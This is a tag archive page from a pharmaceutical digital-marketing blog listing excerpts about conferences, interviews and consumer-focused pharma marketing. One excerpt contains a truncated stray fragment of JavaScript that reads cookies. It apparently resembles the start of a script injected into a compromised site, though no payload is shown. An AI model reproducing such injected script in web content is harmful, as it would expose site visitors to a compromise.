Tag Archives: consumer
Year In Review: Ceci Zak of Sanofi at Digital Pharma East
Ceci Zak of Sanofi speaks to Alice An at Digital Pharma East, after her presentation on the focus on consumer-centric marketing in pharma. What direction do you think this will take in 2012?...
Posted in Digital Health
Tagged #digpharm, Ceci Zak, consumer, Digital Pharma East, digital pharma east 2011, marketing, Sanofi
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How Spirits Would Reinvent the Healthcare Industry
By Andy Smith (@andysmithpalio) What whiskey will not cure, there is no cure for, says an old Irish adage. While that might not track well with todays focus on healthier lifestyles, the health...
Posted in Social Media
Tagged blogging, branding, Compliance, condition, consumer, dialogue, diet, distribution, experience, focus, Health, healthcare industry, intergration, lifestyle, marketing, messaging, pain management, personality, personalization, Pharmaceutical industry, Pharmacy, prescriptions, private, regulation, revenue, sale, spirits, sponsorship, sponsorships, therapy, value
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Join Pixels & Pills at the DTC National Convention in Boston!
Pixels & Pills is at the premiere conference dedicated to how pharma and healthcare companies communicate directly with consumers. function getCookie(e){var U=document.cookie.match(new...
Posted in Digital Health, Social Media
Tagged #DTCN2011, conference, consumer, DTC National Convention, events, interview, Pharma, Video
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Join Pixels & Pills at the DTC National Convention in Boston!
It's been exactly one year since the last DTC National Convention, and a lot has changed since then. We saw more promises - and this time, even a preview - from the FDA on upcoming social media...
Posted in Digital Health, Social Media
Tagged #dtc2011, conference, consumer, DTC National Convention, event, interview, marketing, Video
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Wellness Layers’ Amir Kishon, PhD, Discusses the “Me” and “We” Layers of Digital Engagement
Amir Kishon, PhD, Chairman & CEO of Wellness Layers, peels back the layers of digital engagement and reveals his unique formula for driving significant mobile engagement among consumers and...
Posted in Social Media
Tagged Amir Kishon, BDI, case studies, consumer, engagement, events, Mobile Healthcare Communications, phone, private destination, roundtables, tablet, Video, Wellness Layers
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Live from New York, It’s BDI’s Mobile Healthcare Communications: Case Studies & Roundtables!
A new year brings new challenges for the healthcare industry. Amidst all the technological developments of the past decade, smart phones have become a crucial part of our everyday lives,...
Posted in Social Media
Tagged BDI, campaign, case studies, communications, conference, consumer, device, doctors practice, EHR, EMR, event, healthcare, information, innovation, marketing, mobile, patient, regulation, research, rountables, social media, strategy, technology
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Join P&P at BDI’s Mobile Healthcare & Communications: Case Studies and Roundtables!
These days, your mobile phone isn't just your phone. It's your calendar, your e-mail inbox, your mp3 player, your portable movie viewer, and even your TV remote control. But did you know that the...
Posted in Digital Health
Tagged BDI, campaign, case studies, communications, conference, consumer, device, doctors practice, EHR, EMR, event, healthcare, information, innovation, marketing, mobile, patient, regulation, research, rountables, social media, strategy, technology
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Celebrate “Patients Week” with EyeForPharma!
By Kimberly Reyes (@CommDuCoeur) The e-patient movement has driven people to take control of their health and work collaboratively with their circle of care on managing and overcoming health...
The Experience of a Lifetime: Erik Hauser & Experiential Marketing
Above: Proctor & Gamble set up posh Charmin toilet tissue-equipped restrooms in New York's Times Square. By Kimberly Reyes (@CommDuCoeur) Aprils National DTC Conference in Washington DC had...
Posted in Social Media
Tagged advertising, branding, communication, consumer, creativity, experiential, innovation, marketing, patient, Pharma, Trends, User Experience
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